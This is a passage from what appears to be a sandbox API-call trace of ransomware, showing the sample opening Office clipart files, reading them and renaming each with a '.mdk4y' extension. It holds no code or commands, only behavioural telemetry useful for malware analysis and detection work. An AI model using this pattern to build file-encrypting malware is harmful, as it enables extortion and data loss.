dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822829700000) returned 1 [0153.067] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30f0, lpOverlapped=0x0) returned 1 [0153.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822830800000) returned 1 [0153.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822830800000) returned 1 [0153.078] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.mdk4y")) returned 1 [0153.079] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.079] AreFileApisANSI () returned 1 [0153.079] GetACP () returned 0x4e4 [0153.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0156537.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0156537.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.079] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822831000000) returned 1 [0153.080] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x560, lpOverlapped=0x0) returned 1 [0153.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822833200000) returned 1 [0153.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822833200000) returned 1 [0153.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.mdk4y")) returned 1 [0153.103] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.104] AreFileApisANSI () returned 1 [0153.104] GetACP () returned 0x4e4 [0153.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0157167.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0157167.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822833500000) returned 1 [0153.105] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb66e, lpOverlapped=0x0) returned 1 [0153.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822834700000) returned 1 [0153.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822834800000) returned 1 [0153.118] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.mdk4y")) returned 1 [0153.119] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.119] AreFileApisANSI () returned 1 [0153.119] GetACP () returned 0x4e4 [0153.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0157177.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0157177.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.119] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822834900000) returned 1 [0153.120] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x54d4, lpOverlapped=0x0) returned 1 [0153.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822835100000) returned 1 [0153.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822835100000) returned 1 [0153.121] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.mdk4y")) returned 1 [0153.122] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.122] AreFileApisANSI () returned 1 [0153.122] GetACP () returned 0x4e4 [0153.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0157191.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0157191.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.122] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822835200000) returned 1 [0153.122] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x45f8, lpOverlapped=0x0) returned 1 [0153.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822836700000) returned 1 [0153.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822836700000) returned 1 [0153.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.mdk4y")) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.139] AreFileApisANSI () returned 1 [0153.139] GetACP () returned 0x4e4 [0153.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0157831.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0157831.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822837000000) returned 1 [0153.140] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c84, lpOverlapped=0x0) returned 1 [0153.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822837900000) returned 1 [0153.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822837900000) returned 1 [0153.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.mdk4y")) returned 1 [0153.151] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.151] AreFileApisANSI () returned 1 [0153.151] GetACP () returned 0x4e4 [0153.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0158071.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0158071.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822838100000) returned 1 [0153.151] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x48dc, lpOverlapped=0x0) returned 1 [0153.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822843500000) returned 1 [0153.205] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822843500000) returned 1 [0153.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.mdk4y")) returned 1 [0153.206] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.206] AreFileApisANSI () returned 1 [0153.206] GetACP () returned 0x4e4 [0153.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0158477.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0158477.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.206] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.207] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822843700000) returned 1 [0153.207] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x462e, lpOverlapped=0x0) returned 1 [0153.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822844900000) returned 1 [0153.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822845000000) returned 1 [0153.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.mdk4y")) returned 1 [0153.221] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.222] AreFileApisANSI () returned 1 [0153.222] GetACP () returned 0x4e4 [0153.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0160590.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0160590.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.222] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822845300000) returned 1 [0153.223] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72de, lpOverlapped=0x0) returned 1 [0153.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822852800000) returned 1 [0153.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822852800000) returned 1 [0153.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.mdk4y")) returned 1 [0153.300] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.300] AreFileApisANSI () returned 1 [0153.300] GetACP () returned 0x4e4 [0153.300] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0164153.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0164153.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0153.300] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822853000000) returned 1 [0153.300] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb594, lpOverlapped=0x0) returned 1 [0153.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822866500000) returned 1 [0153.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822866500000) returned 1 [0153.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.mdk4y")) returned 1 [0153.436] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.436] AreFileApisANSI () returned 1 [0153.436] GetACP () returned 0x4e4 [0153.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0168644.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0168644.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.436] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822866700000) returned 1 [0153.437] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x51aa, lpOverlapped=0x0) returned 1 [0153.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822872000000) returned 1 [0153.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822872000000) returned 1 [0153.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.mdk4y")) returned 1 [0153.492] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.492] AreFileApisANSI () returned 1 [0153.492] GetACP () returned 0x4e4 [0153.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0171685.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0171685.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822872300000) returned 1 [0153.493] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3888, lpOverlapped=0x0) returned 1 [0153.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822885700000) returned 1 [0153.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822885700000) returned 1 [0153.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.mdk4y")) returned 1 [0153.628] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.628] AreFileApisANSI () returned 1 [0153.628] GetACP () returned 0x4e4 [0153.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0171847.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0171847.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.628] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822885900000) returned 1 [0153.629] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ae8, lpOverlapped=0x0) returned 1 [0153.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822891800000) returned 1 [0153.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822891800000) returned 1 [0153.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.mdk4y")) returned 1 [0153.690] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0153.690] AreFileApisANSI () returned 1 [0153.690] GetACP () returned 0x4e4 [0153.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0172035.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0172035.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0153.690] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0153.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822892000000) returned 1 [0153.690] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d18, lpOverlapped=0x0) returned 1 [0154.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822931000000) returned 1 [0154.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822931000000) returned 1 [0154.080] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.mdk4y")) returned 1 [0154.082] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0154.082] AreFileApisANSI () returned 1 [0154.082] GetACP () returned 0x4e4 [0154.082] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0172067.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0172067.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0154.082] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0154.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822931300000) returned 1 [0154.083] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 